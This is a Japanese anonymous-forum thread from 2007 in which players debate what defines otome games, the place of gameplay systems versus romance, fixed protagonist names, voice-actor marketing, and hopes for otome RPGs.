>>652 私と好みは違うけど、
>>652が求めるものが乙女ゲームじゃないとは思わないよ
逆に微エロは(不自然じゃなければ)あれば楽しめるほうだけど
少しでもエロ要素を肯定したら乙女ゲームじゃない、とも思わない
乙女ゲームはこうでなければいけない、とか枠を作ってはめこみたくない
655見直してみたら語尾に「だけど」がすごいクドいことに気づいた、ごめんw
たしかに枠は無駄に設けちゃいかんと思うけど、
恋愛をキチンと描き上げることを忘れたらそれは乙女ゲーではない、と思ってしまうな。
他の事とはそれだけ別次元というか、そこだけは譲れない部分というか
そんなイメージ。
>>656 ゲーム性は「より高ければより良い」とは限らないと思うんだ
小説とも漫画ともアニメとも違う、物語表現としてのゲームがあってもいいと思う
「一般ゲー並みの恋愛でいい。恋愛メインは苦手」
一般ゲーのような大作物語っぽい空気とかゲーム性を出しつつ
乙女ゲーらしく、攻略対象が複数なゲーム……とかそんな感じ?
書き方が難しくて自分にはこれ以上の理解が出来ないorz
>>652 一般ゲームにある恋愛レベルの乙女ゲーは、よほど需要が無い限り多分発売されないと思うよ
>じゃ、それゲームじゃないじゃん?ってならない?
ゲーム性があろうとなかろうと、「ゲーム」として発売されてる以上ゲーム
ノベルゲーっていうジャンルもあるくらいだし
よくゲーム性有る=育成って言われて
AVGがゲーム性無いと言われてるように感じるんだけど
選択肢を選ぶことにゲームとしての面白味を感じられたり
何度も繰り返したり、違うキャラのED見ることで全体のストーリーが見えたり
ってのはゲーム性じゃないのかな?
つか、「ゲーム性」って何よ?
というか、シミュやRPG要素があるゲームのゲーム性はそういった部分で、
ノベルゲーとかのADVのゲーム性は
シナリオの機微やストーリーの妙、あと662の言う
>何度も繰り返したり、違うキャラのED見ることで全体のストーリーが見えたり
のような部分だと思ってたなぁ。
引用箇所については、周回ゲーってことになるから好みは分かれるだろうけど。
コマンド総当りADV
一般ゲー+恋愛
女主人公で恋愛できるFF!みたいなのを求めてるんだろうか?(FFは例)
ストーリーの要所で一緒に行動したい男キャラを選び、物語が完結する時に
選んだ男キャラとカップルになるみたいな
>一般ゲー並みの恋愛でいい
某プリンセスシミュレーションみたいな感じ?
あれって一部キャラをのぞき恋愛関係に発展するけど
そこまで乙女ゲーしてる感じはしなかった。別の意味で濃かったがw
いや、もちろん十分乙女ゲーだよと考える人もいるだろうけど
なんとなくジルオール
>>662 そう思う
ストーリーの構造が多層で、繰り返したり選択したりで
見えるものが違うのもゲーム性だよね
>>663 他メディアになくてゲームにだけあるものじゃない?
選択肢で進むノベルゲーなのか、育成タイプのシミュレーションなのか、
どんな風にゲームが進んでキャラと絡むのか……
このあたりは発売前の情報だけで判断つきそうだし、
自分に合ったゲームを買うのがいいとオモ
好感度の概念がないゲームってのもいいな、顔色伺わないで選択肢選べそうだ
あみだくじみたいに誰に当たるか予測不可能っていうので構わないから
自分だけですかそうですか
>>666 一般ゲーと乙女ゲーって相性悪いと思うよ
一般ゲーってそんなに何周もしたいと思わない
>>673 ご、ごめん
ただ、一般ゲーってボリュームのあるものが多いから、
何周もプレイするのはつらいと思ったんだ
自分はサモンナイトがそうだったから
↓以下、○○は好きだけど○○は嫌い禁止
好き嫌いは個人の趣向なんで置いといて、
恋愛薄めでゲーム性が高い、一般ゲー的な乙女ゲーというのが出てくる可能性は
まだ低いんじゃないかな、と思う。
作る側も「それなら一般で出した方が売れる」と思ってしまう辺りだろうし。
良くも悪くも恋愛主体ってのは、ギャルゲーも乙女ゲーも一緒じゃないかな。
とはいえ、今後どうなっていくかは、誰にも判らない部分。
幅広く出てくれるのが、ユーザーにとって一番幸せな形だよね。
自分、埼玉人だけど千葉好きだよ
私、女だけど可愛い女の子(ry
自分自身、そんなにたくさんの乙女ゲームをやってるわけじゃないけれど、
恋愛以外の要素を入れるなら、それなりに意味のある、やりがいのあるものを作って欲しいな
ゲーム性が何を指すか、にもよるけど
恋愛以外の要素にばかり力入れて恋愛部分が疎かになるなら
ゲーム性とやらはいらんな
>>680 自分もそう思うけど、でも今後色んな方向性のゲームもでてくると思うんだ
その時、中途半端に入れるくらいなら入れないで恋愛要素特化のゲームにして欲しい
入れるなら、ちゃんと作りこんで欲しい
乙女ゲー&プレイヤーが女ってことで、難度を不自然に緩くしたりはしないで欲しいってのが希望
この流れみてて、皆がもとめる恋愛要素なるものを突き詰めていったらいいんじゃなかろうか
恋愛要素とか恋愛部分とかって漠然としすぎててワケ分からない
多分ゲーム性と同じで、恋愛要素についても考えは人それぞれだと思う。
キャラとの恋愛EDがあれば恋愛要素有りととらえる人もいれば
ストーリー自体が恋愛主軸でなければ恋愛要素ありとは思えないって人もいるんじゃないかな。
自分は恋愛メインと恋愛要素ありとが別の考えだな。
恋愛主軸なら恋愛メイン(=乙女ゲー)
恋愛要素は、キャラとのイベントやEDがあったり
好感度設定があったりとかを指してるような気がする。
GSは恋愛メインだよね?男に電話かけて親しくなるわけだからゲーム性は?
恋愛メインが好きな人とそれ以外の目標が(ゲーム性)ある方が好きな人との違いじゃない?
相手が好む場所に誘いをかけて相手が好む返答をして
友好度が規定値に期間までに届くかチェックしつつ
自キャラのパラ上げ配分を考える
とみるとどこが恋愛メインなのかわからなくなるねw
攻略キャラと結ばれることを目標にしてプレイするものが乙女ゲだと思ってた
定義って難しいな
AVGは基本的に、主軸となるストーリーがあって
そこに絡むように恋愛関係があって、EDは本筋解決恋愛成就
でパラ上げものも、己を高める目的が主軸で
その日常の中で恋愛が絡むんだよね
そう考えると恋愛だけのゲームって無いような・・・
ADVで 主軸となるストーリー=攻略キャラとくっつくこと にすれば
一応恋愛だけってことになるかなぁ。
何ら事件とか無く、日常の中での主人公とキャラの恋愛過程だけのシナリオ。
まあ面白いかどうかは別として。
>>689 >何ら事件とか無く、日常の中での主人公とキャラの恋愛過程だけのシナリオ。
それでユーザー虜にするようなテキスト書いたら、その人は間違いなく神だな。
>>689 バックラッシュが近いように思う。
事件が起きるのも恋愛過程の中で起きてるから。
ただ、やってる事はほぼデートのみだが取材と言う建前はある。
乙女ゲーといっても、人により捕らえ方が色々あるんだね。
あくまで個人的になのですけど、これだけ色々なら
もっと色々な設定のゲームだって受け入れられるのではないかと
改めて思った。
どこかのスレッドで見たのだけど、
「主人公が優秀な子だと感情移入しにくくてダメ」
「自分が苦手なものを得意だというと冷めてしまう」
っていう意見が合った。
この考えを否定するわけではないのだけど、
もしかしたらメーカーは、これが一般的でかつ大多数な意見だと
思ってるんじゃないだろうか。
似たような主人公が多いから、思わずにはいられないのだけど。
>>692 自分の好みにあわない内容・設定をすごい勢いで否定したり、
そんなの乙女ゲームじゃない、そんなものここで語るな、みたいに
感情的に言う人が目立つからね。
全部真に受けてたら何も作れなくなってしまうw
まじめな要望として書かれてるものでも、全部を叶えるのは不可能なので
メーカーが見てるなら、使えそうなとこだけ適当に拾えばいいと思う。
まあプロだし、言われなくてもそうしてるだろうけど。
>>693 そのメーカーが拾う使えそうなところが、偏っちゃってる気が
しないでもないな。
でもユーザーも、色んなのがやりたいと言いつつ
自分の好みでないものに対しての攻撃が激しい気がする。
まぁ2ch内だけかもしれないけどw
今荒れてるユアオフスレとかも、もっとプラス方向の話題で
盛り上がりたいのに、荒そうとしてる人がいっぱいで
そういうのをメーカーが見ちゃって誤解しないかとちょっと心配。
なんか勘違いしてる人がいるみたいだけど、ここは「所詮2ちゃん」だから
メーカーもこの板のスレごときを真に受けたりはしないよ
あっちも商売だからね
ここでの意見は「極一部の」意見に過ぎない
たまに専スレとかで、スレで喚けばメーカーがここを見ててくれて
私の願いを聞き入れてくれるはず!と思ってる子がいるからなあ…
全く、同じ発売前のDUELスレを見習えと。
最初はあんだけ荒れまくってたのに、最近の抱腹絶倒っぷりときたらwww
DUELスレはあのノリに乗れたら楽しいけど
あの中ではDUELの不満が書き込めないからなぁ
まぁ、全員が不満を持ってる前提でネタ祭になってるんだろうけどw
デュエルへの不満・懸念・嫌悪感etcは、
最初にいい加減出るだけ出尽くしたからな。
あれらのアンチスレからネタスレへと
昇華させていった姐さんたちは
もう、すべてok、バッチコーイだからw
あんなゲームの本気アンチがいたら、逆に憐れだ
でも、ああやって騒いでる人間の果たして何人が買うのか
蓋を開けてみれば、初週8000本くらいじゃないかと予想してる
「掲示板やメーカー突するタイプの人達が好きな傾向のゲームor主人公」と
「表立った行動をしないタイプの人達が好きな傾向のゲームor主人公」って
結構違うんじゃないかと思うんだ。
でも、メーカーは手元に上がってきたデータで判断するわけで……
あと低年齢層にファンが集中してるとファンサイトや尼の感想が多くて
年齢層が高いところに集中してるとマッタリ傾向にある気がする。
>>700 >「掲示板やメーカー突するタイプの人達が好きな傾向のゲームor主人公」と
>「表立った行動をしないタイプの人達が好きな傾向のゲームor主人公」って
>結構違うんじゃないかと思うんだ。
さすがにそれは偏見だと思うなあ…
GSや遙か3のヒット作品や、
後から売り上げが伸びたコルダなんかどうなるの?って感じだし
何より私が「表立った行動をしないタイプの人」だけど
厨であっても天然ブリッコな主人公が好きだし厨なものが大好きだw
名前入力できないなら買いませんカキコの嵐になったりするわけだw
703 :
700:2007/10/16(火) 00:57:43 ID:???
>>701 「掲示板やメーカー突するタイプの人達が好きな傾向のゲームor主人公」が
厨ゲー、厨主人公という意味では無いです。そういう風に読み取れたらスミマセン。
704 :
701:2007/10/16(火) 01:00:24 ID:???
>>701 別にコルダや遙か3やGSがそういった層だけに売れたわけじゃないでしょ
いいもんはいい
それだけだよ
んでここは真面目に議論スレだから、
じゃ、なにがよかったのか
を話していけば建設的な話になると思うんだ
>>705 >別にコルダや遙か3やGSがそういった層だけに売れたわけじゃないでしょ
そういった層ってどういった層だw
701は、多分
>「掲示板やメーカー突するタイプの人達」
>「表立った行動をしないタイプの人達」
両者どっちも買ってるだろうGS、遙か3はどうなるのか、
後から伸びたコルダは一定の層に売れたとは思えない、という話なんじゃないかと
というより、
>>700 どういう主人公がどっちのタイプを支持して、それがどんな結果をもたらすのか
低年齢層がどういう作品を支持しがちで、高年齢層がどんなものを支持するのか
結局そのことで何になるかをはっきり書いた方がいいと思う
ただのイヤミに見えるよw
乙女ゲーの定義がはっきりしない限りいつまでたっても平行線
結局皆自分の好みでしか話できないんだもんなぁ・・・
好みの壁を越えるゲームってのがなかなか……
ハルカとかトキメキあたりがそうなんだと思うけど
両者ある意味薄めて成功してる気がするな
ここまでユーザーが厳しいと一歩踏み込んだもの作って成功ってのは無理なんだろうか
もしかしたら痛い目にあうかもしれない濃い作品より
薄くても安心できる作品が求められるのかもしれないね。
乙女ゲーだけの話じゃないけど、好みが分かれるディープな作品は
商業的に成功するのは難しい
自分は、選択間違えればヒロインが死んでしまうような
サイコサスペンスみたいな乙女ゲーやってみたいけど
まず需要があるとは思えないw
でも、ユーザーの裾野が広がれば、そういった作品も受け入れられる隙間ができる
諦めないで段階を踏んでいくことが大事なんじゃないかな
やっぱりギャルゲーつかエロゲーが多様なのは分母が多くて
多少対象範囲を限定した作品でも利益が見込めるからなのかなあ。
純愛もハード路線も学園もSFもグロも鬱も
中には自分でやろうとは思わない傾向の作品もあるけど
単純にそれだけ選択肢が広いってのは羨ましい。
>>709、710に激しく同意。
ギャルゲーみたいに、色んな要素があるのが羨ましい。
でもこれはPCのエロゲから培われてきた土壌があるから
裾野が広いのだと思う。歴史だって長い。
かたや乙女ゲームの始まりは、認識の差はあるかもしれないけど
アンジェシリーズからではないだろうか。
BL系はもっと前からあったのかな?
そういえば、ちょっと前なんて、乙女ゲーなんか
ほんとに10本の指に足りるくらいしかなかったな。
乙女ゲのプレイヤーがまだまだ少ないから、
冒険したり突飛なものを作ったりできないんじゃないかなと思ったり。
CSだと案が最初だろうな。PCはよく分からない。
まあ、女性ユーザーの間口は狭いのかなとユアオフスレ見てると思う。
「自分はこの方がいい」という言い方通り越して「○○イラネ」とばっさりだしな。
しかし混ぜるな危険イラネは納得だけど、主人公に声ありというのが
オフれる可能性の方が高そうなのにあそこまで反発受けてるのが意外だ。
名前固定も、これはまあ人それぞれだろうけど、どうしても駄目なら
そのゲームは諦めて切り捨てればいいのにと思ってしまう。
見てる限り、よっぽど期待しまくってて
どうしてもこれをプレイしたいんだという訳でもなさそうなのに。
>そのゲームは諦めて切り捨てればいいのにと思ってしまう。
同意
別にそれしか乙女ゲームが無いって訳でもないのにね
自分の好みじゃない物は存在すら許さないって思ってるユーザーが居るね
勿論一部の人が声高に言ってるせいで悪目立ちしてるだけだと思うが
名前変換で騒ぐひとは
乙女ゲーなのに名前固定にするなんて信じられない!
って言ってるようなもんだしな
白銀で暴れていた人は少なくとも楽しみにしてたから残念
って風に見えたけど、ユアオフの人は愉快犯に見えた
名前固定/変更可に関してはゲームをやってみないと
一概には言えない部分だと思うんだけど、情報が出た時点で騒ぎになるよね。
個人的には話の内容が濃くて主人公のキャラが立ってるゲームなら
名前固定で攻略キャラにもちゃんと名前で呼んでもらえた方が嬉しいな。
自己投影しないでやってるからっていうのもあるんだろうけど、
昔一般ゲーで、ここぞという時に名前呼んでもらえなかったのが
非常に不満だったってのもあるかもしれない。
乙女でもそういうゲームが出てきたら少しは流れが変わったりするのかな?
プレイスタイルにもよるよね
でも小説や漫画の主人公に感情移入出来るように
出来映え如何では
個性有り名前固定の主人公でも感情移入は出来ると思うんだよなぁ
何となく学園生活みたいな話なら無個性のほうが入り込めるし、
明確なストーリーがある話で個性がないと入り込めない。
本当に人それぞれだね
ユーザーもお互い認めあって色んな分野のゲームが出て欲しいと思う
認め合ってないのは極一部じゃないのかなぁ。
特に言いたいことのない人は何も言ってくれないから目立たないだけで…
なんとなく乙女ゲーが好きで買い続けてて
特にネットで感想を述べることもない一般人のファンの数も多いんでない?
バリエーション増えない要因は
乙女ゲーム=女主人公の恋愛ゲームということだけじゃなく、
乙女ゲーム=乙女ちっくなゲーム
みたいな意味合いがいまだに根強いせいじゃないだろうか。
私は△△嫌いだからと個人の好みで語ればいいところを
わざわざ「乙女ゲーに△△いらない」「乙女ゲーなのに、××入れるなんて信じられない」
みたいに、ジャンルを盾にした反論がよく見られるのも
乙女ゲームを女主人公の恋愛ゲームってだけじゃなく、
「乙女」に拘っているユーザーが多いからそうなるんだと思う。
ギャルゲなんて、男主人公じゃなくても女の子だらけならギャルゲだし
エロゲもエロ入ってればエロゲ
と非常に広い範囲をカバーしてるのに
乙女ゲーに至っては、なぜかわざわざユーザーの方で限定させようとしてるのはなぜだろう?
私は乙女ちっくなものを求めてるし、そういうものしかしたくないけど
欝だとか修羅場だとか、そういうものを求めてるユーザーもいるよね
と受け止められるユーザーってそんなに少ないんだろうか
乙女に拘ってるユーザーってそんなにいるかな
逆にキラキラしいのは苦手だし、逆に寒いが
女性向けの場合、プレイヤーがPCだけでなく周りも観察してて、
自分だけ良ければいい、みたいなものは弾く気はする
男性向けの場合、極端な話エロければOKって感じで
ヤンデレの良さは素で分からないな
あれも攻略対象を欝にする(で合ってるんだろうか)して、
どの辺りがいいのか首を傾げるし、見てて気分が良くないから
乙女チックかどうかはさておいて
乙女ゲーはこうあるべきみたいな考えに囚われてるユーザーはわりといるなとは感じる。
名前変更なんかはいい例だし。
というか。今までメーカー側がそうだったからそういう
物だって意識がユーザーに根付いてしまったって所じゃ
ないかな?
じゃあ乙女ゲーって何?
女がやれば乙女ゲーではないでしょ
恋愛メインと考えるべきかなと思うんだけどそれも違うの?
誰か定義してよ
だから女主人公で男キャラと恋愛関係(またはソレに非常に近い関係)に最終的になれるゲーム
だっつーの
乙女ゲームなんだからこうあるべき…って人が沸いてくるゲームが乙女ゲーム
という認識になってきたw
女主人公固定じゃなくて選べたらいいのに
こんな性格嫌だとかいつも思う・・・
一般ゲーや男性向けだってかなり曖昧だし、
それどころか、RPGやSLGだって定義するのは難しいんじゃないか?
単純に、女主人公の恋愛ゲーム、でいいんでない?
>>724 私は逆に
ユーザー側がそういう認識だから
メーカー側もそうせざるを得ない状況なんじゃないかと思うけどな。
このスレではもっといろんなものが出て欲しいって意見が多くて
自分もそう思っていたけど
保守傾向のユーザーは大分いるんじゃないかと最近思う。
ユアオフスレでもドロドロ展開や鬱に対する抵抗が結構見られるしね。
このスレ見てると色々バッチコイな自分が少数派というのを何となく忘れてしまうけどw
現状に大体満足してればこのスレ来ないだろうしな…
自分の中の乙女ゲー定義は、メーカーが乙女ゲーだと思って作ってるかどうかだなぁ
メーカーが名言してるかどうかじゃなくて、あくまで自分が感じた印象の話だけど
だから牧場物語は乙女ゲーだと思ってなくて、この板に来てスレ立っててびっくりした記憶がある
まあ人それぞれだ
よく声優で釣ってるとか
声ヲタは声さえよければ買うからダメだとかいうけど
声ヲタだって、中身がないより中身があるゲームに好きな声優が出て
それで素敵なことしゃべるほうが、いいに決まってると思うんだよね
当の声優だって同じじゃないかな
何が言いたいかというと
現状、乙女ゲームはいろいろ問題が多いわけだが、
どっかに明確な責任なり悪意があるせいじゃないと思うんだ
そんな簡単な問題じゃない
だから、自分以外の周囲を批判するよりも
微力でも、自分がいいと思う方向の後押しをしたいよ
牧場物語は単に本スレで大っぴらに男キャラ萌えを語るのはちょっとな…
という人たちが集まって立てられたに過ぎないんじゃないか
>>736 そうなのか、スレの中身見てないや
世間ではすでに乙女ゲーという認識なのかと思ってた
牧物は「for ガール」が別個のソフトとして出てたからってのもあるんじゃない?
女性が本スレで素直に萌えを語ったりできないのもあって
女性が多い作品はこの板にスレ立ててたりするね
私はそういうのいいと思うよ
740 :
名無しって呼んでいいか?:2007/10/17(水) 18:11:59 ID:vo7k4u+X
乙女ゲームの多様化は望ましいけど
女性ゲーマーを軽く見られているってのもあるんじゃないかな
女性ゲーマーはライトゲーマーと同一視されているし
だから簡単な操作と無難な展開に落ち着いちゃうんじゃないだろうか
軽く見られるっつうか
正直まともに取り合うのがメンドイと思われてるよ多分
少しのチャレンジが袋叩きにされ
西友の名前公表しただけで予約数が跳ね上がり
かといって主人公に声入れると何も分かってねえ、もう買わねと罵倒されるなどなど
手を抜いても金は落としてくれるから楽だけど
本気でよいもの作ろうとしてもバカを見る、とか思われてそう
文句酷いよね
ちょっと気に入らないと総叩きだし
名前変更不可→公式BBSなどで暴れるなんかはその最たるものだと思う
声優に関しては声ヲタがいるからな
というか、ギャルゲでは声優で釣られるとかないのかな
人気声優揃えて初回予約版に店舗別限定CDでも付ければ
それが簡単に複数買いされちゃうんだもんなー
ラブレボのランダムCDも「何枚買った」報告凄かったし
>>744 キャスティングの似たり寄ったりさは女向けと変わらないと思う
エロゲ板にはこの声優秋田なんて専用の愚痴スレまであるし。
ただ絵効果の方が強いんじゃないかな
特典はいまだにテレカ中心みたいだから
Keyがエロでなんとか利益を出しつつもストーリー重視で成功して
今じゃエロ無しでも普通に売れるようになったように、
乙女ゲーも今は声優人気に頼っていても、いずれはKeyみたいにならんかな・・・
声ヲタじゃないから、声はあってもなくてもどっちでもいいな
おもしろければなんでもいい
女性向けのゲーム雑誌が
声優特集組んでたり声優のアイドル扱いしてるから
声商法は無くならないと思うけどな
鍵があのストーリーのクオリティで乙女ゲー参入してくれたら嬉しいが
どこかの汗拭きゲーのように根本的に乙女ゲーを理解してないようなのを
出されたらと思うとな…
ギャルゲメーカーが乙女ゲー参入したら男性信者の人はどう思うんだろうな
そんなもん作る暇があるならギャルゲの次作つくれって言うだろうか。
乙女ゲー板じゃなくて女向ゲー板だしね。女向け要素があればいいと思う。
個人的には、アトリエやパレドゥみたいな乙女要素ありの女性向ゲーがもっと出るといいと思っている。
それをきっかけに、乙女ゲーやった事ないけど興味を持った一般ゲーマーを取り込んだり、
どちらかというと保守的な乙女ゲーマーが乙女ゲーにない要素や、アプローチのやり方に慣れ親しんでくれれば
乙女ゲーも身動きしやすくなる気がする。
ジャンル分けについては人それぞれだからあまり突っ込まないでくれw
前のレス見てたorz
>>749 確かに乙女ゲメーカーに比べてギャルゲメーカーが出す物のクオリティは高いと思うが
「男にウケる」ストーリーと「女が胸キュンする」ストーリー(とか属性とか)って結構違ってくると思うんだよね
そういうのを上手く研究して乙女ゲ売り出してくれるなら
多少絵がギャルゲっぽかろうがメーカーがどこであろうが大賛成
ギャルゲーが乙女ゲー出しても特に嬉しいって感じはしないな
数が多いから当たりもあるけど、結構クソゲーもあるし
そりゃもちろん有名だったりメジャーブランド前提では?
三流どころか参入しても大して期待持てないし
一番の懸念は自分も
> 「男にウケる」ストーリーと「女が胸キュンする」ストーリー(とか属性とか)って
> 結構違ってくる
これだなあ。
個人的にユアオフにあまりwktkできない理由も実はここにある。
ギャルゲで名作を出してても乙女ゲーというジャンルでは
他の新規メーカーとなんら変わらないし。
自分が好きなギャルゲメーカーだったら喜んで飛び付くけど
ただ「元大手ギャルゲメーカーです」って参入されても
惹かれるものがないなら様子見しちゃうなあ
数うちゃ当たるってのも失礼だが
どんどん参入して欲しいし、どんどん広げていって欲しいと思う
そんな中で、Keyみたいなストーリー重視のゲームや、本格的なゲームとかいずれでたらいいなー
ギャルゲに限らず、カプコンやバンナムの例もあるしね
まあバンナムは実際出てみないと分からないか
> 「男にウケる」ストーリーと「女が胸キュンする」ストーリー(とか属性とか)って
> 結構違ってくる
知り合いの男(本人の名誉のため、実兄とは言わないけど)が 名作ギャルゲをやりながら
号泣してたのを隣で見てたが、自分としては本当に全然だった
でも、だからと言って何事もやって見ないことに分からないから、どこぞの鍵が
ためしに一本出してくれないかね
ユアメモは内容に関しちゃ本当に何とも言えないけど
システム面で不安覚えないブランドがまた乙女ゲに復帰したって点はよかった。
何かしらの部分で安心出来るメーカーは少しでも増えて欲しいから。
わかる
ギャルゲエロゲのスレ行ってみると
自分が萌えた部分と住人が萌えた部分にズレを感じる
>知り合いの男(本人の名誉のため、実兄とは言わないけど)が
PCにウーロン茶、吹きそうになったじゃまいかw
>>762の実兄の名誉のために伏せるけど
感情豊かなんだな、大事にしてやれwwww
システム面は最近の乙女ゲーも安定してきたんじゃないか?
鍵は男の少女へのロマン爆裂の世界だから乙女ゲーにはあわないと思う
が、自分は、ギャルゲのメーカーだからいいとか悪いとか思わないなあ
> 「男にウケる」ストーリーと「女が胸キュンする」ストーリー(とか属性とか)って
> 結構違ってくる
というけれど、男にしても女にしても、これなら鉄板!なんてないわけじゃん
だいたい「女が胸キュンするのはこれだろう」と意識してつくればつくったで
その狙いがウザい、と言われてやっぱり胸キュンされないわけで。
だったら、ギャルゲの参入だろうが新規だろうが、好きにやったらいいと思うよ
その中で、結果として多くの女に胸キュンされたゲームが売れれば健全だもん
>>763 平均値は確実に上がったけど
それはゲーム全体にも言えることだからな…
クイックロードなのになんでロード時間発生する?
とか、機能は一通りあるけど動作がもっさりしてるとか、どっか引っかかる。
きゅんとくるものって人それぞれだから
乙女ゲー常連でも、わかってねーなって思う時があるけど
男性向け、と女性向けの溝は深いと思うよ?
特に女性への扱いの部分とか
男キャラのチャームポイントとか
実際に男性視点全開で大コケした発売済みの乙女ゲってある?
ユーザーの推測じゃなく、男性主導だと明らかに判明してるもので。
768 :
759:2007/10/17(水) 22:47:47 ID:???
>>762-
>>763 ごめん、でも家族のいる居間で堂々とギャルゲのエンディングを迎えるのはどうかと思うんだ
って、自分も部屋でヘッドホン着用で乙女ゲやってるから大口叩く権利ないですな
本題に入るけど、やっぱり乙女ゲ人口の少なさが根本的な問題なんじゃないかと。
これまで乙女ゲなど微塵も興味のなかった新規のユーザーがゴッソリ流れ込んでくるような
斬新(奇抜と言う意味ではなく、良い意味で斬新)な乙女ゲが出て、その流れで開発費増えて
良作に結びつけばなぁとは思う。
という意味も含めて、多少コケるの覚悟でどっかの非乙女ゲメーカーがなにかしでかしてくないかな。
人口の少なさに関しては、昔よりは乙女ゲ人口増えてるし、
女性ユーザーの多いDSの乙女ゲもこれから発売されるから
そんなに悲観することはないんじゃない?
>多少コケるの覚悟でどっかの非乙女ゲメーカーがなにかしでかしてくないかな。
つDUEL LOVE
非乙女ゲメーカーといえば、フルキスは初めはネタだったが、
発売後はなかなか好評だったけど
結局安易なツンデレと微エロ展開を広めただけのような気もする
でも同じように思われてたフルキスだって
特にユーザー層拡大してないよね…
微エロ広めたが
女性の扱い、どういうのがいいかバラバラだと思うんだけどなあ
自分(主人公)をつねに最優先して扱うべき、という人もいれば、
変にマンセーされると気持ち悪い、という人もいるじゃん、この板だけ見ても。
微エロ入ってる=そういう目で男に見られるのが気持ちいいって人もいるし、
それは嫌悪感があるから絶対嫌だっていう人もいるし。
無個性で名前もないほうがいいとか、個性ありで名前も固定でいいとかさ。
男性向けでも、主人公があまりにヘタレだと叩かれるし
かっこいい男主人公なら人気も出るし
これが正解ってとくにないように思うんだよね。
>DUEL LOVE
確かにしでかしてくれたとは思う
塚、難しいな
クオリティを上げつつユーザー層を広げつつ、かつ元祖乙女ゲファンの心も掴み続けるって
フルキスはパッと見、フツーの乙女ゲーっぽいから
よく知らない人にとっては他の乙女ゲと大差ない気がする。
散々言われたことだけど、やっぱりカプコンお抱え絵師とかで
ギャップ効果狙った方がよかったと思うんだよね…
白癬との連携なんて別に他社でも出来るんだし
フルキスは製作者が元紅玉だっけ
間違った方向でネオロマ意識しすぎたと思う
>>772 正確にコレって定義は無いけど
大事なのは女性へのデリカシーじゃないかなと思ってる
エロでも鬱でも、男本意だととことん嫌われるんじゃないかな
人それぞれだから何がウケるか分からないんだけどね
下品な発想で男が作っただろうと叩かれていたDUELも
すっかりネタゲーへ格上げされたしねw
乙女ゲ内でネタとして話題になってる分はいいけど
よく知らない人から乙女ゲはみんなこういうもの(半裸の男に触ってキャッキャ言う)
みたいに思われたら嫌なんだが…
それとも、どういう形であれ、とにかく知名度上げるのが大事なんだろうか
>>769 人口の少なさは出来る環境に無いってのもあるんじゃないの?
DSのソフトが増えれば乙女ゲ人口増えるってのは十分ある
自分なんか家族がいるからPS2なんか出来ないよ
ノーパソでこそこそやってた口だから出来る環境の人凄いと思う・・・
>>777 その件に関して、結構自分は危惧してる
元々の乙女ゲユーザーならネタで負われるけど、例えば初めて恋シミュなるジャンルに興味を
持った子がいたとして、初めてがあれでは「乙女ゲ キモイ」でソッポを向かれてしまいかねない
それが他の良ゲだったら、その作品はスルーしたとしても今後興味を持ってもらえるかもしれない
次に繋がっていくものだから、知名度を上げるのも良し悪しなんじゃないかと思うんだ
乙女ゲーの正統派RPGとかファルコムが作ってくれないかな
古くからの信者に嫌がられそうだがw
>乙女ゲーの正統派RPG
あったら自分もやりたい・・うるるんはやってないけど
冒険の途中で、うまいこと恋愛イベント入れてくれるといい
それと、RPG信者から「戦闘ヘボい」と文句つけられないのと、RPG初心者から
「戦闘だるい」と敬遠されない程度のバランスを上手く保ったシステムにしてくれたらいい
周回プレイが前提の乙女ゲでRPGってのはかなり難しいと思う
「レベル上げマンドクセ」「難しくてクリア出来ません><」みたいな声は絶対出る
乙女ゲーのRPGで砂のエンブレイスを思い出したww
戦闘やらシステムやらはダルかった記憶があるけど
男をフって、次の男と旅をするのが斬新だったww
>>782 ぶっちゃけ相手は一人でもいいんだよね、つーか空の軌跡がかなり自分好みだったんで
ストーリーを濃厚にしてくれれば一人でも構わないな
ジルオールインフィニットみたいなのをベースに、恋愛要素たっぷりの戦闘ラクチンの
フリーシナリオにして、周回プレイ気が気にならない程度の個別ルート制にしたら、
ストーリーも濃厚で、かつ攻略キャラ5〜6人はいけるんでない?
例えば、ヒロインが姫で攻略キャラはお供の騎士、魔法使い、敵国の王子とか
>>784 それだと普通に○王国シリーズみたいな一般ゲーにならないか
>>782 イージー、ノーマル、ハード
って難易度が変更出来るRPGならどうだろう?
RPGってストーリー追うだけなら20時間程度で一周できるのもあるし
後はアイテムコンプとか、隠しボスとかのやり込み要素があれば
RPG好きさんにも受け入れられるんじゃないかな
>>787 その場合、ハード限定EDとかつけん方がいいな
>>788 EDはイージーでコンプ出来るのが良いだろうね
ただハードなら最強武器が手に入るとか
バカ強い敵と戦えるとかのおまけが欲しいw
>>785 フリーシナリオは多分無理だ。
フラグ管理&デバッグが大変で一般でもやるところが殆ど無いジャンル。
ジルオール無印も製作が難航して女帝がかなり渋ってたはず。
舞台の規模が小さいものなら何とかなるかもしれないが。
正統派シミュレーションRPGならどうだ
FEみたいな・・
あれも周回大変か
>>788-
>>789 それ賛成
>>790 規模が小さいとなると、必然的にシナリオも薄くなってしまうかなぁ
なんにせよ、RPGとなると普通の乙女ゲよりも股ガケプレイが難しいかもね
冒険しながら引き連れてる男数人を手玉に取ってるなんて、ビッチにもほどがあるから
仲間にして、仲良くなっていけばイベント発生とED
ただ恋シミュみたいな、恋愛にシナリオ割かない程度の物はどうかな
自分の好みを押し付けるとビタミンみたいに共通ルートがほとんど無くて
「君に決めた!」って決めた相手と最初から最後まで付き合う乙女ゲがもっと出て欲しいと思う
目標があるのはいいよね。目標のないパラ揚げとかはいらね。
>>794 完全な個別ルートか、一本のストーリーで股掛けプレイ可能か
メリットとデメリットは両方にあるから、それはプレイヤーの好みの問題になるよね
自分も断然個別ルート派だが、一人一人攻略キャラの数だけ周回しなければならないのは
正直つらいから、所見で萌えそうにないキャラは攻略を断念する場合もある
股掛けプレイが可能なシステムだったら、おつまみ程度におまけ攻略できるのにな、と
考えると、完全個別ルートも考えものかも。
ただ、コルダ2アンコのように、彼氏がいるのに他のキャラとラブラブっていうのは
ちょっといただけなかったかなと個人的には思うけど、みんなはどうだった?
>>791 SRPGは戦闘に割かれている時間がかなり長いので
強くてニューゲームみたいなのがあれば2周目以降の周回は断然楽になる。
なのでSRPG乙女ゲーは案外向いてるかも。
ただ、ライトユーザーの付きにくいジャンルだな…
SRPGで乙女的人気っつーとサモンナイトがあるけど
あのシリーズは周回ボーナスの恩恵があまり無くて
周回プレイ前提のマルチエンドが今ひとつ映えないんだよなぁ。
SRPGはキャラ性が強く出せるし、
サモン・FEの女性プレイヤーが流れてくる可能性を考えるとチャレンジする価値はあると思うんだ
ただ、今の乙女業界だと作る手間と金がかかるからどこもやらないだろうな
